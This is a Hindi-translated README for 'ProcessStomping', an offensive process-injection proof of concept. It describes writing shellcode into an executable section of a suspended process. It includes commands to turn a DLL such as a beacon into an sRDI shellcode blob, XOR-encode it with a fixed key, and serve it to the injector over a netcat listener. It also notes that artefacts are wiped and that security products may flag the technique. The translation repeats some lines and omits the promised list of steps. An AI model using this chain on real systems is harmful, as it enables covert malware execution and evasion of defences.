
ProcessOverwriting का एक प्रकार जो किसी निष्पादन योग्य के अनुभाग पर शेलकोड निष्पादित करने के लिए है।
ProcessOverwriting का एक रूपांतर जो एक निष्पादन योग्य के सेक्शन पर शेलकोड निष्पादित करता है
अधिक विस्तृत व्याख्या के लिए आप मेरा ब्लॉग पोस्ट पढ़ सकते हैं।
Process Stomping, hasherezade के Process Overwriting का एक रूपांतर है और इसका लाभ यह है कि यह पूरे PE पेलोड को होस्टिंग प्रक्रिया के पता स्थान पर लिखने के बजाय लक्ष्य सेक्शन पर एक शेलकोड पेलोड लिखता है।
ProcessStomping तकनीक के मुख्य चरण हैं:
तकनीक के एक उदाहरण अनुप्रयोग के रूप में, PoC का उपयोग sRDI के साथ एक निष्पादन योग्य RWX सेक्शन पर बीकन dll लोड करने के लिए किया जा सकता है। निम्नलिखित चित्र में शामिल चरणों का वर्णन किया गया है।

सभी जानकारी और सामग्री केवल शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। निर्देशों का पालन अपने जोखिम पर करें। लेखक या उसके नियोक्ता किसी भी व्यक्ति या संगठन से उत्पन्न किसी भी प्रत्यक्ष या परिणामी क्षति या हानि के लिए उत्तरदायी नहीं हैं।
यह काम Aleksandra Doniec @hasherezade और Nick Landers द्वारा साझा किए गए ज्ञान और उपकरणों के कारण संभव हुआ है।
अपनी लक्ष्य प्रक्रिया चुनें और ProcessStomping.cpp में वैश्विक चरों को तदनुसार संशोधित करें।
sRDI प्रोजेक्ट को संकलित करें यह सुनिश्चित करते हुए कि ऑफ़सेट आपके जनरेट किए गए sRDI शेलकोड ब्लॉब पर कूदने के लिए पर्याप्त है और फिर sRDI टूल्स को अपडेट करें:
cd \sRDI-master
python .\lib\Python\EncodeBlobs.py .\
अपनी पसंद का एक Reflective-Loaderless dll पेलोड जनरेट करें और फिर sRDI शेलकोड ब्लॉब जनरेट करें:
python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll
शेलकोड ब्लॉब को फिर एक की-वर्ड के साथ XOR किया जा सकता है और एक सरल सॉकेट का उपयोग करके डाउनलोड किया जा सकता है
python xor.py noRLx86.bin noRLx86_enc.bin Bangarang
कनेक्शन पर XORed ब्लॉब वितरित करें
nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin
sRDI ब्लॉब निष्पादन के बाद अनावश्यक कलाकृतियों को हटाने के लिए मिटा दिया जाएगा।
https://github.com/naksyn/ProcessStomping/assets/59816245/8d9e1ac2-b47c-41d5-9f0e-1b3fee14ba50
इस तकनीक को सफलतापूर्वक निष्पादित करने के लिए आपको सही लक्ष्य प्रक्रिया का चयन करना चाहिए और एक dll पेलोड का उपयोग करना चाहिए जो User Defined Reflective लोडर के साथ न आता हो।
Process Stomping तकनीक में लक्ष्य प्रक्रिया को निलंबित अवस्था में शुरू करना, थ्रेड के एंट्री पॉइंट को बदलना, और फिर इंजेक्ट किए गए शेलकोड को निष्पादित करने के लिए थ्रेड को फिर से शुरू करना आवश्यक है। ये ऐसे ऑपरेशन हैं जो त्वरित अनुक्रम में किए जाने पर संदिग्ध माने जा सकते हैं और कुछ सुरक्षा समाधानों द्वारा अधिक जांच का कारण बन सकते हैं।